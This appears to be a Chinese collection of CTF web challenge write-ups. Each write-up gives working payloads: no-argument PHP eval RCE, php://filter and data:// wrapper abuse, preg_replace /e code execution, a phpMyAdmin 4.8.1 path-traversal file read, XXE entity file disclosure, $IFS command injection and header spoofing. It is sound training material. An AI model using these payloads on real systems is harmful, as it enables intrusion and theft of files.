目录
禁止套娃
GitHacker
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
eval的一句话木马,题目又加了好多过滤限制了RCE,首先是 php伪协议 data协议 filter协议 都不能使用了
然后该网站使用了正则匹配 其实这就是无参数的rce
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
就执行exp传递的命令
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
无参数REC 一般有三种绕过姿势:
- gettallheaders()
- get_defined_vars()
- session_id()
具体可以参考博客
紧接着 又是一次黑名单过滤,很多的关键字都被黑掉了(带有get 函数的,肯定是不能用了)
但还有一个函数 scandir 以扫描当前目录下的文件
payload:
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。
原理:
loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。
上面 的正则过滤中 其实并没有过滤掉 session_id()
所以我们可以使用 session_id来获取 flag
session_id() 可以用来获取/设置 当前会话 ID。
在我们使用 session_id()的时候 需要使用session_start()来开启session会话
我们尝试构造payload
?exp=highlight_file(session_id(session_start()));
session_id(session_start())
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
ZJCTF,不过如此
file_get_contents
将整个文件读入一个字符串
例:
file_get_contents('test.txt');
file_get_contents('http://www.example.com/');
file_get_contents()
的$filename
参数不仅仅为本地文件路径,还可以是一个网络路径URL
。于是便可以利用伪协议:
简单回顾下
file://
作用:
用于访问文件(绝对路径、相对路径、网络路径)
示例:
http://www.xx.com?file=file:///etc/passswd
php://
作用:
访问输入输出流
1. php://filter
作用:
读取源代码并进行base64编码输出
示例:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
2. php://input
作用:
执行POST数据中的php代码
示例:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
enctype="multipart/form-data" 的时候 php://input 是无效的
data://
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这里我们用data协议和php://filter
payload:
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
将返回的解码后:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
传递cmd参数,绕过preg_replace
preg_replace /e 模式
导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,那这样要如何执行代码呢?
上面的命令执行,相当于 eval('strtolower("\\1");') 结果,当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义
这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。
- 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
- 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数
这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。
所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}} 即可执行 phpinfo 函数。payload :
\S*=${phpinfo()}
调用getFlag()函数,然后RCE
next.php?\S*=${getFlag()}&cmd=system('ls /');
[GWCTF 2019]我有一个数据库
robots.txt
提示phpinfo.php
用dirsearch还发现了phpmyadmin - 数据库管理界面
可以看见,是4.8.1版本的,而4.8.1
版本存在任意文件读取漏洞
https://blog.csdn.net/weixin_44037296/article/details/111039461
使用Payload尝试:
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可以成功执行,获取到了passwd
文件的内容,尝试查找flag
,最终Payload
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
[NCTF2019]Fake XML cookbook
原始包:
将提交的数据放到了doLogin.php下,题目提示XML
xee外部实体,那么构建我们的恶意的外部实体,实现攻击。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
[WUSTCTF2020]朴实无华
robots.txt
User-agent: *
Disallow: /fAke_f1agggg.php
/fAke_f1agggg.php
什么都没有
看看相应包
/fl4g.php
开审
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
level1:
intval:返回变量的整数值
用字符串绕过,例:
?num='1e4'
发现不行,再试试?num=1e4,可以,应该是会自动转换为字符串55
level2:
参数和其md5值相同
0e任何数=0 也就是使该值经过md5后仍然是0e开头的值即可,可以编写脚本,我直接从网上找到值,可以令md5=0e215962017
md5=0e215962017
get flag
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。
这里我们要让他为NULL,才能进这个if
所以不能有空格
str_ireplace() 函数使用一个字符串替换字符串中的另一些字符。
三个参数,用第二个替换第三个中包含的第一个参数
这里相当于过滤了cat
直接:
get_flag=ls
get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
final:
?num=1e4&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[ASIS 2019]Unicorn shop
一眼购买
填 1 3
商品错误
说明id不为1
填4 1337
price为一个字符
考点unicode编码安全问题
我们可以用别的语言来表示数字
搜uncode大于1337的字符
直接搜thousand,会有一大堆
传参即可得到flag(注意url编码)
id=4&price=%E2%86%82
[MRCTF2020]PYWebsite
源码:
我在想把md5解密555
直接看flag.php
构造:XFF:127.0.0.1
X-Forwarded-For:127.0.0.1